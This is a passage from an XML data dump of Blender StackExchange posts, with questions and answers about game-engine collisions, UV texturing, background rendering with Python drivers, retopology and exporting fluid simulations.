  <row Id="36506" PostTypeId="1" AcceptedAnswerId="36509" CreationDate="2015-08-27T00:09:02.437" Score="0" ViewCount="77" Body="&lt;p&gt;I have a working gun that shoots bullets with a material named 'bullet'. I have a cube with a collision sensor that looks for the material 'bullet'. But the bullets won't collide for some reason, and the only way I can get them to collide is to put the cubes physics to Dynamic with Ghost checked, but I don't want that because it will fall through the ground. It will not collide at all if it's not that physics type.&lt;/p&gt;&#xA;" OwnerUserId="16450" LastEditorUserId="16450" LastEditDate="2015-08-27T16:34:52.570" LastActivityDate="2015-08-27T16:34:52.570" Title="Cube will not collide no matter what" Tags="&lt;physics&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36507" PostTypeId="2" ParentId="36503" CreationDate="2015-08-27T00:23:12.930" Score="3" Body="&lt;h1&gt;A few options&lt;/h1&gt;&#xA;&lt;p&gt;1- Make the big cube unrenderable by switching off the camera icon:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cUsYa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cUsYa.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;2- Move the big cube to a different layer that is not renderable&lt;/p&gt;&#xA;&lt;p&gt;3- Make the shader for the BIG CUBE a holdout material (then you don't need the boolean)&lt;/p&gt;&#xA;&lt;p&gt;4- Turn off all Ray Visibility for the object in the properties panel.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/czSGr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/czSGr.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;5- Use the &lt;a href=&quot;https://blender.stackexchange.com/questions/3423/how-to-use-an-object-as-a-mask&quot;&gt;object as mask&lt;/a&gt; (no need for boolean either)&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-08-27T13:41:52.463" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36508" PostTypeId="2" ParentId="36503" CreationDate="2015-08-27T00:36:50.820" Score="5" Body="&lt;p&gt;If you want the object to disappear gradually I would do it with the material.  To make it disappear from top to bottom/side to side etc. (like a box covering it up as you described) I would se this node setup for it's material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BebUf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then animate the value on the &lt;em&gt;greater than&lt;/em&gt; node (the one in yellow) from &lt;code&gt;1&lt;/code&gt; to &lt;code&gt;0&lt;/code&gt; to make the object disappear from top to bottom.  If you want left to right use the X value from the &lt;em&gt;separate XYZ&lt;/em&gt; node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h26Zv.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works because taking the X, Y, or Z component of the &lt;a href=&quot;https://blender.stackexchange.com/questions/23173/what-methods-can-be-used-to-place-a-texture-onto-an-object/23174#23174&quot;&gt;generated texture coordinates&lt;/a&gt; gives a gradient from &lt;code&gt;0&lt;/code&gt; to &lt;code&gt;1&lt;/code&gt; from left to right, front to back, or back to front respectively.  The output of this, sent through a greater than node to chop it off at a certain point, is used to drive a mix shader mixing the normal material (in this case the diffuse shader) with a transparent shader.  When you animate the value of the greater than node you are animating the cutoff point.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2015-08-27T00:36:50.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36509" PostTypeId="2" ParentId="36506" CreationDate="2015-08-27T01:14:25.050" Score="1" Body="&lt;p&gt;You answer was very uninformative and i don't quite understand your issue, so please update your question and i'll update my answer accordingly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll still attempt to help by saying why it might not collide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your bullet is not colliding with things, the reason may be many things, so a quick troubleshoot is to check your physics tab(1) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One, the collision group(2), if a cube had the top left box ticked (dark grey if ticked) and the floor had it's collision mask(3) on the top left as well they will collide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if Ghost(4) is ticked, then the cube will fall no matter what through anything, and can't be interacted with say, the mouse click.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ttE9w.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ttE9w.png&quot; alt=&quot;Collision&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11237" LastActivityDate="2015-08-27T01:14:25.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36510" PostTypeId="1" CreationDate="2015-08-27T01:28:47.157" Score="3" ViewCount="4350" Body="&lt;p&gt;Been going through old questions and tutorials for several hours and still can't figure out what I'm doing wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My object unwraps fine in the UV Editor and I can add the file I want mapped, but it is not being applied in the 3D Viewer or when rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bjgMo.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bjgMo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/DR8tm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DR8tm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blue material was added to the object as some references said a material needed to be set before applying the UV Map.&lt;/p&gt;&#xA;" OwnerUserId="16552" LastEditorUserId="12820" LastEditDate="2015-08-27T02:03:48.890" LastActivityDate="2015-08-27T03:34:09.583" Title="UV Map not being applied to object" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36511" PostTypeId="1" CreationDate="2015-08-27T01:48:19.877" Score="2" ViewCount="419" Body="&lt;p&gt;I am trying to animate a Blender file from the command line that is using a couple of Python functions for Drivers. However, the command gives the following error, and consequently does not perform the animations.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $ blender -b QCM.blend -y&#xA;read blend: /home/brent/Downloads/QCM/QCM.blend&#xA;&#xA;Error in Driver: The following Python expression failed:&#xA;    'crystal_driver(frame)'&#xA;&#xA;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;bpy driver&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;NameError: name 'crystal_driver' is not defined&#xA;&#xA;Error in Driver: The following Python expression failed:&#xA;    'film_driver(frame)'&#xA;&#xA;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;bpy driver&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;NameError: name 'film_driver' is not defined&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I run the file without the background switch, the animation works as expected:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$blender -y QCM.blend&#xA;read blend: /home/brent/Downloads/QCM/QCM.blend&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is a screen shot of the script file in Blender, which shows the register box is checked.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/REQeQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/REQeQ.png&quot; alt=&quot;screen shot of Blender script file for Driver&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone else appears to have a similar problem, but no solutions were proposed. &lt;a href=&quot;https://www.reddit.com/r/blender/comments/2xhouc/driver_function_not_running_from_command_line/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.reddit.com/r/blender/comments/2xhouc/driver_function_not_running_from_command_line/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16721" LastActivityDate="2015-08-27T01:48:19.877" Title="Drivers not working when running blender in the background from command line" Tags="&lt;drivers&gt;&lt;command-line&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36512" PostTypeId="2" ParentId="36510" CreationDate="2015-08-27T01:52:33.900" Score="2" Body="&lt;p&gt;To set up textures properly follow these steps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cycles Render&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; Select the material and open Node Editor window&lt;br&gt;&#xA;&lt;strong&gt;2.&lt;/strong&gt; Add an Image Texture node, then load the texture and connect Color to Diffuse BSDF node.&lt;br&gt;&#xA;&lt;strong&gt;3.&lt;/strong&gt; Add a UV Map node and select proper UV Map if you have more than one on the mesh and connect the node to the Vector of Image Texture node&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DMD42.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DMD42.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Blender Render&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; Open materials tab.&lt;br&gt;&#xA;&lt;strong&gt;2.&lt;/strong&gt; Create a material or if there is one already existing, make sure the material you want to add the texture to is selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/s9wKK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/s9wKK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt; While the material is selected open texture tab.&lt;br&gt;&#xA;&lt;strong&gt;4.&lt;/strong&gt; In texture tab scroll down to Image section and open the texture you want to apply to the material.&lt;br&gt;&#xA;&lt;strong&gt;5.&lt;/strong&gt; In mapping section make sure the Coordinates are set to UV and choose the correct UV map in case you have more than one on the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sfsK5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sfsK5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-08-27T03:34:09.583" LastActivityDate="2015-08-27T03:34:09.583" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="36513" PostTypeId="1" CreationDate="2015-08-27T01:59:35.007" Score="1" ViewCount="480" Body="&lt;p&gt;I am having an issue where I am trying to transfer my weapon from blender to Poser 10 and I get weird shapes in poser that don't match the figure in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender with weapon:&lt;a href=&quot;https://i.stack.imgur.com/LR8G9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LR8G9.png&quot; alt=&quot;My Weapon in Blender&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I make it an object using wavefront.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Poser 10 with the weapon imported from Blender, as you can see it does not match the blender image. &lt;a href=&quot;https://i.stack.imgur.com/ZLXpH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZLXpH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is Poser 10 doing that?&lt;/p&gt;&#xA;" OwnerUserId="16722" LastEditorUserId="2217" LastEditDate="2015-08-27T02:27:19.807" LastActivityDate="2017-06-10T06:02:05.817" Title="Blender to Poser 10 issue" Tags="&lt;mesh&gt;&lt;objects&gt;&lt;export&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36515" PostTypeId="2" ParentId="36163" CreationDate="2015-08-27T05:30:18.987" Score="0" Body="&lt;p&gt;You can use the fact that the viewports will not change during the game (unless you explicitly want that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mYqwU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mYqwU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows you to design your HUD as single viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You place the player specific information where it matches the according viewport of the level scene. An area for shared information can be useful too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0gwyC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0gwyC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you add the HUD it projects the HUD over both viewports.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nFEri.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nFEri.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You do that with a scene actuator in add overlay mode. I suggest to use an separate empty that does that (and only that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/K1C7M.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/K1C7M.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will result in a nice combination of all three cameras. With a little designing skills you make the audience think there are two or even three HUDs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vSXZv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vSXZv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope it helps&lt;/p&gt;&#xA;" OwnerUserId="13395" LastEditorUserId="13395" LastEditDate="2015-08-27T05:46:20.890" LastActivityDate="2015-08-27T05:46:20.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36516" PostTypeId="1" CreationDate="2015-08-27T06:11:55.643" Score="2" ViewCount="287" Body="&lt;p&gt;I am trying to create an importer/exporter script for an open world's game map. However, I am being constantly hit and set back by performance of blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to create way points for car, with support for junctions (this would mean I need something that has more than 2 end points)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have thought of using lines (path curves) for single line paths and for junctions I am thinking to calculate it mathematically at the point where 2 lines intersect. After importing about more than 3000 splines in a single curve object, blender have come to a slow crawl when it comes to edit mode, navigating in 3D view is quite fast as its only one object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other way to do this? I am at loss now.&#xA;&lt;img src=&quot;https://i.imgur.com/JT5axv8.png&quot; alt=&quot;&quot; title=&quot;Just only one line object&quot;&gt;&#xA;&lt;img src=&quot;https://i.imgur.com/h0xmsXt.png&quot; alt=&quot;&quot; title=&quot;Slow navigating around in Edit Mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I have also tried using armatures instead, as you can have many endpoints than a curve. However I found it crashing and unstable after hitting 6000 armature bones. And the selection of single bone is just painfully slow&lt;/p&gt;&#xA;" OwnerUserId="15093" LastEditorUserId="15093" LastEditDate="2015-08-27T11:30:37.467" LastActivityDate="2015-08-27T11:30:37.467" Title="Creating/Handling pathfinding large world waypoints in Blender" Tags="&lt;bezier-curves&gt;&lt;performance&gt;" AnswerCount="0" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="36517" PostTypeId="1" AcceptedAnswerId="36520" CreationDate="2015-08-27T06:13:59.003" Score="3" ViewCount="920" Body="&lt;p&gt;Blender has a convenient reference grid with 1-unit squares, centered on (0,0,0) in the X-Y plane; &lt;strong&gt;I want something similar on the Z axis&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can add reference images to the background, and I could create one manually for this purpose ... but having to go to a separate program and import a specially created image seems excessive when I just want a simple ruler to eyeball things against. My current workaround is to add several plane meshes to make a vertical line of squares that I can measure against - but again, it feels like there should be an easier way to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there a quick and easy way to do this?&lt;/strong&gt; Ideally, it would let me set a custom interval for the gridlines/ruler ticks, but I'd accept the standard 1-unit ticks if that's the best I can get.&lt;/p&gt;&#xA;" OwnerUserId="16724" LastActivityDate="2015-08-27T07:21:55.090" Title="How can I add a scale reference to the Z axis" Tags="&lt;3d-view&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36518" PostTypeId="1" CreationDate="2015-08-27T06:49:20.950" Score="0" ViewCount="22" Body="&lt;p&gt;I have the below objects in two different versions of a blender file I'm working on. However when I click loop cut in Edit Mode with nothing selected, in one version (left image) I can cut the object as a whole. In the other (right image), it allows me only to cut parts of the object. I'm not sure why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aYtoh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aYtoh.png&quot; alt=&quot;loop cutting whole object on left but part on right&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read one post that indicates I can only use loop cut when an object has four faces, however mine has the ribbon in the middle and on the left version cuts fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone explain why this is the case? Sometimes loop cut allows me to cut an object in half all the way around and sometimes not. &lt;/p&gt;&#xA;" OwnerUserId="14023" LastActivityDate="2015-08-27T06:49:20.950" Title="Loop cutting parts of an object instead of the whole object in Edit Mode" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-08-27T09:00:40.727" ContentLicense="CC BY-SA 3.0" />
  <row Id="36519" PostTypeId="2" ParentId="36417" CreationDate="2015-08-27T06:49:58.390" Score="16" Body="&lt;p&gt;In recent versions of Blender (2.76) there is a caption or text tool. You add it as an effect strip over your footage.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MjHgo.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MjHgo.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;There are some downsides to this though. For example, there is no control over the font. This makes it more suited to subtitles, instead of a title at the beginning of a video.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-11-18T16:03:32.717" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36520" PostTypeId="2" ParentId="36517" CreationDate="2015-08-27T07:02:26.310" Score="1" Body="&lt;h3&gt;Easiest option&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Orthographic views tend to be useful for this. Even if you're eyeballing there will be less distortion in the perception of location. Orthographic views will show a grid in all three orientations. -- font, left, top ... and their reverse: back, right, bottom. See the Blender manual for all options, and &lt;a href=&quot;https://www.blender.org/manual/getting_started/basics/navigating/3d_view.html?highlight=views&quot; rel=&quot;nofollow noreferrer&quot;&gt;menus relating to this&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xUClq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xUClq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here Front, Top and Left are visible. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;possibly interesting option&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;An addon called 'Chromoly Ruler' or just 'Ruler', is included in the &lt;code&gt;addons_contrib&lt;/code&gt;. If you get blender from somewhere like &lt;a href=&quot;https://builder.blender.org/download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;builder.blender.org&lt;/a&gt;. It looks like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OZ8W0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OZ8W0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-08-27T07:21:55.090" LastActivityDate="2015-08-27T07:21:55.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36521" PostTypeId="1" AcceptedAnswerId="54139" CreationDate="2015-08-27T07:36:16.433" Score="3" ViewCount="6189" Body="&lt;p&gt;I want to have a object lift out of water and have the water drop(drips) from the object, and doesn't need to be interact with, so it may be 100% pre-baked.&lt;/p&gt;&#xA;&lt;p&gt;I made the animation in blender, but I can't seem to correctly export the fluid animation to UE4.8.&lt;/p&gt;&#xA;&lt;p&gt;steps I did:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;(Blender 2.74) make simple fluid simulation and bake it (using the Bake button in the Fluid domain Physics tab)&#xA;(maybe I need to bake it another way after that?)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;(Blender 2.74) Export it to FBX, well here are a lot of options, first im not sure wich version to use FBX 7.4 Binary or 6.1 ASCII Mainly I select version 7.4 and enable Apply Modifiers, Baked Animation, NLA Strips and All actions. (I tried many different options)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;(UE4.8) Import FBX, and enable Import morph targets, import animations, import local transform. same goes here I tried a lot of different options.&lt;/p&gt;&#xA;&lt;p&gt;I hope someone can help me with this and put me in the right direction.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14334" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2019-12-05T10:13:24.763" Title="How to export fluid animation 100% prebaked and import to UE4" Tags="&lt;animation&gt;&lt;export&gt;&lt;unreal-engine&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36522" PostTypeId="1" AcceptedAnswerId="36530" CreationDate="2015-08-27T07:59:47.323" Score="0" ViewCount="404" Body="&lt;p&gt;I used collision sensor which reacts to any kind of collision which takes place. So is there any other way to make an object react with different collision differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/po73f.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/po73f.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cube is a ridged body and the plane is static&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GGsoC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GGsoC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the cube falls the plane detects the cube collision and acts as set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dWhgs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dWhgs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the given settings for the above function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the cube falls the plane senses the cube collision and does the given function. But if there would be an extra object, for example a sphere, I want the plane object to react with the sphere collision differently. How is it possible in blender game engine? &lt;/p&gt;&#xA;" OwnerUserId="9818" LastActivityDate="2015-08-27T11:17:12.297" Title="How to make an object in blender game engine react with different collision differently" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36523" PostTypeId="1" AcceptedAnswerId="36528" CreationDate="2015-08-27T09:01:41.633" Score="3" ViewCount="1424" Body="&lt;p&gt;I'm using this code the access the uv maps array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy  &#xA;&#xA;selection_ = bpy.context.selected_objects&#xA;&#xA;for selected_ in selection_:&#xA;    selected_.data.uv_layers[0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I delete certain channel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'v got tons of objects with extra uv map in channel 0.&#xA;Isn't there something like &#xA; selected_.data.uv_layers[0].Remove()?...&lt;/p&gt;&#xA;" OwnerUserId="16726" LastActivityDate="2015-08-27T09:52:25.360" Title="How can I delete uv layers with python?" Tags="&lt;python&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36524" PostTypeId="1" AcceptedAnswerId="36654" CreationDate="2015-08-27T09:15:48.553" Score="0" ViewCount="846" Body="&lt;p&gt;The Blender Render(er) has the so called &quot;Material Input Node&quot;, where a previously defined material can be selected. The questions is, whether there is an equavalent for the Cycles Render(er).&lt;/p&gt;&#xA;" OwnerUserId="16589" LastActivityDate="2015-08-29T11:07:58.927" Title="Is it possible to have a Material input node in the Cycles Renderer?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;materials&gt;&lt;blender-internal-render-engine&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="36525" PostTypeId="1" AcceptedAnswerId="36531" CreationDate="2015-08-27T09:25:21.373" Score="22" ViewCount="54240" Body="&lt;p&gt;After creating some hi-poly model, i'm always creating low-poly model by approximating that hi-poly mesh with triangle-by-triangle LP mesh - with snap to face mode turned on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the process looks like &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;RMB&lt;/kbd&gt; (x times), and hitting &lt;kbd&gt;F&lt;/kbd&gt; on keyboard, so the new face was made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I'm using this low poly model to texture baking, mainly for gamedev purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method is very time consuming, so how to make retopology process easier and quicker?&lt;/p&gt;&#xA;" OwnerUserId="452" LastEditorUserId="19287" LastEditDate="2016-04-13T15:52:21.450" LastActivityDate="2016-11-21T08:00:28.777" Title="How to easily make mesh retopology?" Tags="&lt;modeling&gt;&lt;topology&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="20" ContentLicense="CC BY-SA 3.0" />
  <row Id="36526" PostTypeId="2" ParentId="36217" CreationDate="2015-08-27T09:31:11.137" Score="2" Body="&lt;p&gt;Here is a &quot;simple&quot; solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It involves two objects. A vehicle and a &quot;waypoint jumper&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a kind of &lt;a href=&quot;https://en.wikipedia.org/wiki/Carrot_and_stick&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;Carrot on a stick&quot;&lt;/a&gt; approach. The vehicle follows the waypoint . When the vehicle collides with the waypoint it jumps to the next waypoint location -&gt; &quot;waypoint jumper&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Vehicle&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are free to create an vehicle as you like. It needs to have two operations:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;move forward&lt;/li&gt;&#xA;&lt;li&gt;turn towards the waypoint jumper&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;here is an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9dRGM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9dRGM.png&quot; alt=&quot;enter image description 